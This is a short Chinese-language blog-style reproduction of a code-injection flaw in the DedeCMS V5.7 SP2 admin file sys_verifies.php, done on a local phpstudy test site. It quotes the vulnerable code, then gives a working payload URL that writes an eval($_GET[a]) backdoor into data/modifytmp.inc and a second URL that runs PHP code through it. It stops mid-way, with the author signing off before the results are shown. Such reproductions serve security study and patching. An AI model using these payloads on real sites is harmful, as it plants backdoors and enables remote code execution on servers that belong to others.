前言:为了简便,试用了phpstudy
下载dedecms V5.7 sp2
使用phpstudy新建网站www.dedtest.com,并将下载的dedecms V5.7 sp2复制到其网站目录下,然后建站
开始复现
漏洞的只要原因是出现在了C:\phpstudy_pro\WWW\www.dedtest.com\dede文件夹下的sys_varifiles.php文件,一下为代码:
/*----------------------- 下载文件 function _getfiles() ------------------------*/ else if ($action == 'getfiles') { if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, '<'.'?php'."\r\n"); fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n"); $dirs = array(); $i = -1; $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__)); foreach($refiles as $filename) { $filename = substr($filename,3,strlen($filename)-3); if(preg_match("#^dede/#i", $filename)) { $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) ); } else { $curdir = GetDirName($filename); } if( !isset($dirs[$curdir]) ) { $dirs[$curdir] = TestIsFileDir($curdir); } $i++; fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); } fwrite($fp, '$fileConut = '.$i.';'."\r\n"); fwrite($fp, '?'.'>'); fclose($fp); $dirinfos = ''; if($i > -1) { $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">'; $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹<font color='red'>是否有写入权限:</font><br />\r\n"; foreach($dirs as $curdir) { $dirinfos .= $curdir['name']." 状态:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可写]:请创建该目录</font>")."<br />\r\n"; } $dirinfos .= "</td></tr>\r\n"; } $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n"; include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm'); exit(); } /*----------------------- 下载文件 function _down() ------------------------*/ else if($action=='down') { $cacheFiles = DEDEDATA.'/modifytmp.inc'; require_once($cacheFiles); if($fileConut==-1 || $curfile > $fileConut) { ShowMsg("已下载所有文件<br /><a href='sys_verifies.php?action=apply'>[直接替换文件]</a> <a href='#'>[我自己手动替换文件]</a>","javascript:;"); exit(); } //检查临时文件保存目录是否可用 MkTmpDir($tmpdir, $files[$curfile]); $downfile = UPDATEHOST.$cfg_soft_lang.'/source/'.$files[$curfile]; $dhd = new DedeHttpDown(); $dhd->OpenUrl($downfile); $dhd->SaveToBin(DEDEDATA.'/'.$tmpdir.'/'.$files[$curfile]); $dhd->Close(); ShowMsg("成功下载文件:{$files[$curfile]}; 继续下载下一个文件。","sys_verifies.php?action=down&curfile=".($curfile+1)); exit(); }
可以了解到data文件夹下会生成一个一个.inc文件,所谓inc文件即为“include file”,也就是“被包含(引用、调用)的文件”,但是这个inc文件攻击者是有控制权的,由此可以构造payload:
http://www.dedtest.com/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();//
可以看到已经成功的写入了inc恶意文件,在data文件夹下,打开查看一下,确实是我们写入的恶意后门代码;
执行命令:
http://www.dedtest.com/dede/sys_verifies.php?action=down&a=phpinfo();
成功结果如下:
困了,明天在补充。